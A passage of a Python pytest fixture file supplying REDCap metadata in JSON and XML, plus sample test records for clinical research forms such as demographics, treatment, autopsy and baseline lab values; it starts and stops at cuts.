{"field_name":"autop_gentest_results","form_name":"autopsy_updates_data_old","section_header":"","field_type":"radio","field_label":"Status of tumor molecular or genetic test results on autopsy samples","select_choices_or_calculations":"1, Submitted | 2, Not performed","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"update_type_autopsy","form_name":"autopsy_updates_data_old","section_header":"","field_type":"dropdown","field_label":"Type Of Update","select_choices_or_calculations":"4, Initial | 5, 6 month | 6, 12 month | 7, Autopsy not performed","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"autop_relapse_death","form_name":"autopsy_updates_data_old","section_header":"","field_type":"text","field_label":"Time from Last Relapse to Death:","select_choices_or_calculations":"","field_note":"in months","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"autop_death_tumor","form_name":"autopsy_updates_data_old","section_header":"","field_type":"radio","field_label":"Was Death Due to Tumor Progression?","select_choices_or_calculations":"1, Yes | 2, No","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"autop_report_status","form_name":"autopsy_updates_data_old","section_header":"","field_type":"radio","field_label":"Status of Final Autopsy Report, including Neuropathology Report:","select_choices_or_calculations":"1, Submitted | 2, Pending | 3, Not applicable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"family_members","form_name":"medical_history_form_old","section_header":"","field_type":"notes","field_label":"Do not use; this field will be removed after migration","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"rad_sites","form_name":"treatment_form_old","section_header":"","field_type":"text","field_label":"DO NOT USE, this field will be removed after data migration","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"planned_rad_dose","form_name":"treatment_form_old","section_header":"","field_type":"text","field_label":"Planned Radiation Dose","select_choices_or_calculations":"","field_note":"cGy prescription (convert Gy to cGy)","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[radiation] = '0'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"planned_fractions","form_name":"treatment_form_old","section_header":"","field_type":"text","field_label":"Number of Planned Fractions","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[radiation] = '0'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"completed_fractions","form_name":"treatment_form_old","section_header":"","field_type":"text","field_label":"Number of Completed Fractions","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[radiation] = '0'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"like_protocol","form_name":"treatment_form_old","section_header":"","field_type":"radio","field_label":"Does the treatment follow a protocol ('like protocol\\" treatment)? TO BE HIDDEN ONCE ALL DATA IS MIGRATED","select_choices_or_calculations":"1, Yes | 2, No","field_note":"DO NOT USE","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"describe_study_protocol","form_name":"treatment_form_old","section_header":"","field_type":"notes","field_label":"Other Chemotherapy Treatment Info","select_choices_or_calculations":"","field_note":"Use for other pertinent treatment information","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[on_study_protocol] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"num_planned_cycles","form_name":"treatment_form_old","section_header":"","field_type":"text","field_label":"Number of planned cycles","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[chemo_type] = '1' or [chemo_type] = '2' or [chemo_type] = '3'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"num_completed_cycles","form_name":"treatment_form_old","section_header":"","field_type":"text","field_label":"Number of completed cycles","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"y","branching_logic":"[chemo_type] = '1' or [chemo_type] = '2' or [chemo_type] = '3'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"other_therapy","form_name":"treatment_form_old","section_header":"Other Therapy","field_type":"radio","field_label":"Other Therapy?","select_choices_or_calculations":"1, Yes | 2, No | 3, Unavailable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[treatment_status] = '1' or [treatment_update_due_to] = '1' or [treatment_update_due_to] = '2'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"other_therapy_desc","form_name":"treatment_form_old","section_header":"","field_type":"notes","field_label":"Describe Other Therapy:","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[other_therapy] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"on_study_protocol","form_name":"treatment_form_old","section_header":"","field_type":"radio","field_label":"Is the subject actually enrolled on a study? TO BE HIDDEN ONCE ALL DATA IS MIGRATED","select_choices_or_calculations":"1, Yes | 2, No | 3, Unknown","field_note":"DO NOT USE","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[chemo_type] = '2'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"arm_random","form_name":"treatment_form_old","section_header":"","field_type":"text","field_label":"ARM randomized","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[chemo_type] = '2'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"rad_sites_defined","form_name":"treatment_form_old","section_header":"","field_type":"checkbox","field_label":"Radiation Sites","select_choices_or_calculations":"1, Focal\/Tumor Bed | 2, Infratentorial\/Posterior Fossa | 3, Whole Brain | 4, Whole Spine | 5, Craniospinal | 6, Other | 7, Unavailable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[radiation] = '0'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tumor_or_molecular_tests_d","form_name":"diagnosis_form_old","section_header":"Molecular","field_type":"checkbox","field_label":"Tumor or Molecular Tests Done:","select_choices_or_calculations":"1, SNP array | 2, FISH | 3, Mutation analysis | 4, Next generation sequence | 5, Other NOS | 6, None | 7, Immunohistochemistry\/ IHC","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""}]'''
@pytest.fixture(scope='module')
def redcap_metadata_xml():
return b'''<?xml version="1.0" encoding="UTF-8" ?>
<records>
<item><field_name><![CDATA[study_id]]></field_name><form_name><![CDATA[demographics]]></form_name><section_header></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[Study ID]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[date_enrolled]]></field_name><form_name><![CDATA[demographics]]></form_name><section_header><![CDATA[Consent Information]]></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[Date subject signed consent]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note><![CDATA[YYYY-MM-DD]]></field_note><text_validation_type_or_show_slider_number><![CDATA[date_ymd]]></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[ethnicity]]></field_name><form_name><![CDATA[demographics]]></form_name><section_header></section_header><field_type><![CDATA[radio]]></field_type><field_label><![CDATA[Ethnicity]]></field_label><select_choices_or_calculations><![CDATA[0, Hispanic or Latino | 1, NOT Hispanic or Latino | 2, Unknown / Not Reported]]></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment><![CDATA[LH]]></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[race]]></field_name><form_name><![CDATA[demographics]]></form_name><section_header></section_header><field_type><![CDATA[dropdown]]></field_type><field_label><![CDATA[Race]]></field_label><select_choices_or_calculations><![CDATA[0, American Indian/Alaska Native | 1, Asian | 2, Native Hawaiian or Other Pacific Islander | 3, Black or African American | 4, White | 5, More Than One Race | 6, Unknown / Not Reported]]></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[sex]]></field_name><form_name><![CDATA[demographics]]></form_name><section_header></section_header><field_type><![CDATA[radio]]></field_type><field_label><![CDATA[Gender]]></field_label><select_choices_or_calculations><![CDATA[0, Female | 1, Male]]></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[given_birth]]></field_name><form_name><![CDATA[demographics]]></form_name><section_header></section_header><field_type><![CDATA[yesno]]></field_type><field_label><![CDATA[Has the patient given birth before?]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic><![CDATA[[sex] = "0"]]></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[num_children]]></field_name><form_name><![CDATA[demographics]]></form_name><section_header></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[How many times has the patient given birth?]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number><![CDATA[integer]]></text_validation_type_or_show_slider_number><text_validation_min><![CDATA[0]]></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic><![CDATA[[sex] = "0" and [given_birth] = "1"]]></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[specify_mood]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header><![CDATA[Other information]]></section_header><field_type><![CDATA[slider]]></field_type><field_label><![CDATA[Specify the patient's mood]]></field_label><select_choices_or_calculations><![CDATA[Very sad | Indifferent | Very happy]]></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[meds]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[checkbox]]></field_type><field_label><![CDATA[Is patient taking any of the following type of medications for conditions?]]></field_label><select_choices_or_calculations><![CDATA[1, Antibiotic | 2, Asthma or Allergy | 3, ADHD | 4, Depression | 5, NSAIDs]]></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[height]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[Height (cm)]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number><![CDATA[number]]></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[weight]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[Weight (kilograms)]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number><![CDATA[integer]]></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[comments]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header><![CDATA[General Comments]]></section_header><field_type><![CDATA[notes]]></field_type><field_label><![CDATA[Comments]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[prealb_b]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[Serum Prealbumin (mg/dL)]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note><![CDATA[Adult Normal: 19-38 milligrams per deciliter (mg/dL) ]]></field_note><text_validation_type_or_show_slider_number><![CDATA[number]]></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[creat_b]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[Creatinine (mg/dL)]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note><![CDATA[Adult Normal: 0.6 to 1.3 - Varies per gender.]]></field_note><text_validation_type_or_show_slider_number><![CDATA[number]]></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[chol_b]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[Total Cholesterol (mg/dL)]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number><![CDATA[number]]></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[transferrin_b]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[Transferrin (mg/dL)]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note><![CDATA[Adult Normal: 170 to 370 mg/dl]]></field_note><text_validation_type_or_show_slider_number><![CDATA[number]]></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[ibd_flag]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[yesno]]></field_type><field_label><![CDATA[Does patient have an IBD (Inflammatory bowel disease) Diagnosis at time of Visit?]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[general_ibd]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[Diagnosis date of general IBD Disorder - not yet diagnosed.]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note><![CDATA[YYYY-MM-DD - Leave Blank if N/A]]></field_note><text_validation_type_or_show_slider_number><![CDATA[date_ymd]]></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic><![CDATA[[ibd_flag] = '1']]></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[chrons]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[Date of Diagnosis of Crohn's disease]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note><![CDATA[YYYY-MM-DD - Leave Blank if N/A]]></field_note><text_validation_type_or_show_slider_number><![CDATA[date_ymd]]></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic><![CDATA[[ibd_flag] = '1']]></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[ulcerative_colitis]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[Date of Diagnosis of Ulcerative Colitis disease]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note><![CDATA[YYYY-MM-DD - Leave Blank if N/A]]></field_note><text_validation_type_or_show_slider_number><![CDATA[date_ymd]]></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic><![CDATA[[ibd_flag] = '1']]></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[colonoscopy]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[yesno]]></field_type><field_label><![CDATA[Have you had a colonoscopy prior to this visit?]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[colonoscopy_date]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[Date of most recent colonoscopy.]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note><![CDATA[YYYY-MM-DD]]></field_note><text_validation_type_or_show_slider_number><![CDATA[date_ymd]]></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[meal_date]]></field_name><form_name><![CDATA[baseline_visit_data]]></form_name><section_header></section_header><field_type><![CDATA[text]]></field_type><field_label><![CDATA[Date of Last Meal]]></field_label><select_choices_or_calculations></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number><![CDATA[date_ymd]]></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[meal_description]]></field_name><form_name><![CDATA[meal_description_form]]></form_name><section_header></section_header><field_type><![CDATA[dropdown]]></field_type><field_label><![CDATA[Meal Description]]></field_label><select_choices_or_calculations><![CDATA[1, Light | 2, Medium | 3, Full]]></select_choices_or_calculations><field_note></field_note><text_validation_type_or_show_slider_number></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[types_of_food]]></field_name><form_name><![CDATA[meal_description_form]]></form_name><section_header></section_header><field_type><![CDATA[dropdown]]></field_type><field_label><![CDATA[Types of Food]]></field_label><select_choices_or_calculations><![CDATA[1, Protein | 2, Carbohydrates | 3, Vegetables | 4, Junk Food]]></select_choices_or_calculations><field_note><![CDATA[Check any of the options your meal unlcuded]]></field_note><text_validation_type_or_show_slider_number></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
<item><field_name><![CDATA[healthy]]></field_name><form_name><![CDATA[meal_description_form]]></form_name><section_header></section_header><field_type><![CDATA[dropdown]]></field_type><field_label><![CDATA[Healthy?]]></field_label><select_choices_or_calculations><![CDATA[1, Very Healthy | 2, Somewhat Healthy | 3, Neither Healthy or Unhealthy | 4, Somewhat Unhealthy | 5, Very Unhealthy]]></select_choices_or_calculations><field_note><![CDATA[Rate the meal on a scale as to how healthy you believe it was.]]></field_note><text_validation_type_or_show_slider_number></text_validation_type_or_show_slider_number><text_validation_min></text_validation_min><text_validation_max></text_validation_max><identifier></identifier><branching_logic></branching_logic><required_field></required_field><custom_alignment></custom_alignment><question_number></question_number><matrix_group_name></matrix_group_name><matrix_ranking></matrix_ranking><field_annotation></field_annotation></item>
</records>'''
@pytest.fixture(scope='module')
def redcap_record_json():
return b'[{"study_id":"0GUQDBCDE0EAWN9Q:8LAG76CHO","redcap_event_name":"visit_arm_1","date_enrolled":"","ethnicity":"","race":"","sex":"","given_birth":"","num_children":"","demographics_complete":"","specify_mood":"50","meds___1":"1","meds___2":"0","meds___3":"0","meds___4":"0","meds___5":"0","height":"100","weight":"20","comments":"Test Data2","prealb_b":"19","creat_b":"0.6","chol_b":"101","transferrin_b":"102","ibd_flag":"1","general_ibd":"2016-08-31","chrons":"2016-08-31","ulcerative_colitis":"2016-08-31","colonoscopy":"0","colonoscopy_date":"2016-08-31","meal_date":"2016-08-31","baseline_visit_data_complete":"0","meal_description":"","types_of_food":"","healthy":"","meal_description_form_complete":""},{"study_id":"0GUQDBCDE0EAWN9Q:8LAG76CHO","redcap_event_name":"breakfast_at_visit_arm_1","date_enrolled":"","ethnicity":"","race":"","sex":"","given_birth":"","num_children":"","demographics_complete":"","specify_mood":"","meds___1":"","meds___2":"","meds___3":"","meds___4":"","meds___5":"","height":"","weight":"","comments":"","prealb_b":"","creat_b":"","chol_b":"","transferrin_b":"","ibd_flag":"","general_ibd":"","chrons":"","ulcerative_colitis":"","colonoscopy":"","colonoscopy_date":"","meal_date":"","baseline_visit_data_complete":"","meal_description":"1","types_of_food":"2","healthy":"1","meal_description_form_complete":"0"},{"study_id":"0GUQDBCDE0EAWN9Q:8LAG76CHO","redcap_event_name":"lunch_at_visit_arm_1","date_enrolled":"","ethnicity":"","race":"","sex":"","given_birth":"","num_children":"","demographics_complete":"","specify_mood":"","meds___1":"","meds___2":"","meds___3":"","meds___4":"","meds___5":"","height":"","weight":"","comments":"","prealb_b":"","creat_b":"","chol_b":"","transferrin_b":"","ibd_flag":"","general_ibd":"","chrons":"","ulcerative_colitis":"","colonoscopy":"","colonoscopy_date":"","meal_date":"","baseline_visit_data_complete":"","meal_description":"3","types_of_food":"2","healthy":"3","meal_description_form_complete":"0"}]'
@pytest.fixture(scope='module')
def redcap_record_json2():
return b'[{"study_id":"YU80UHY3I10CBT6X:T7S9TDGK1","redcap_event_name":"diagnosis_arm_1","enrollment_type":"2","autop_form_complete":"","general_comm_diagnosis":"","clinical_status_at_diagnosis":"1","autop_cause_death":"","autopsy":"","diagnosis_type":"5","other_med_condition___1":"0","other_med_condition___2":"0","other_med_condition___3":"0","other_med_condition___4":"0","other_med_condition___5":"0","other_med_condition___6":"0","other_med_condition___7":"0","other_med_condition___8":"0","other_med_condition___9":"1","other_med_condition___10":"0","other_med_condition___11":"0","other_med_condition___12":"0","describe":"","vps_etv":"","date_of_initial_diagnosis":"2012-03-05","operations_center_patholog":"Low-grade glioma\/astrocytoma (WHO grade I\/II)","path_diag":"Pilocytic astrocytoma (WHO Grade I)","init_path_diag___1":"0","init_path_diag___17":"0","init_path_diag___2":"0","init_path_diag___3":"0","init_path_diag___18":"0","init_path_diag___5":"0","init_path_diag___6":"1","init_path_diag___7":"0","init_path_diag___8":"0","init_path_diag___19":"0","init_path_diag___20":"0","init_path_diag___21":"0","init_path_diag___22":"0","init_path_diag___10":"0","init_path_diag___11":"0","init_path_diag___12":"0","init_path_diag___15":"0","init_path_diag___16":"0","init_path_diag___23":"0","init_path_diag___24":"0","init_path_diag___25":"0","init_path_diag___26":"0","init_path_diag___27":"0","init_path_diag___28":"0","init_path_diag___29":"0","init_path_diag___30":"0","init_path_diag___31":"0","init_path_diag___14":"0","init_path_diag___32":"0","init_path_diag___33":"0","init_path_diag___34":"0","init_path_diag___35":"0","init_path_diag___36":"0","diag_other":"","tumor_primary_location_in___1":"0","tumor_primary_location_in___2":"0","tumor_primary_location_in___3":"0","tumor_primary_location_in___4":"0","tumor_primary_location_in___5":"0","tumor_primary_location_in___6":"0","tumor_primary_location_in___7":"0","tumor_primary_location_in___8":"1","tumor_primary_location_in___9":"0","tumor_primary_location_in___10":"0","tumor_primary_location_in___11":"0","tumor_primary_location_in___12":"0","tumor_primary_location_in___13":"0","tumor_primary_location_in___14":"0","tumor_primary_location_in___15":"0","tumor_primary_location_in___16":"0","tumor_primary_location_in___17":"0","tumor_primary_location_in___18":"0","tumor_primary_location_in___19":"0","tumor_primary_location_in___20":"0","tumor_primary_location_in___21":"0","tumor_primary_location_in___22":"0","tumor_primary_location_in___23":"0","diag_other2_cf0":"","metas_at_init_diag":"1","meta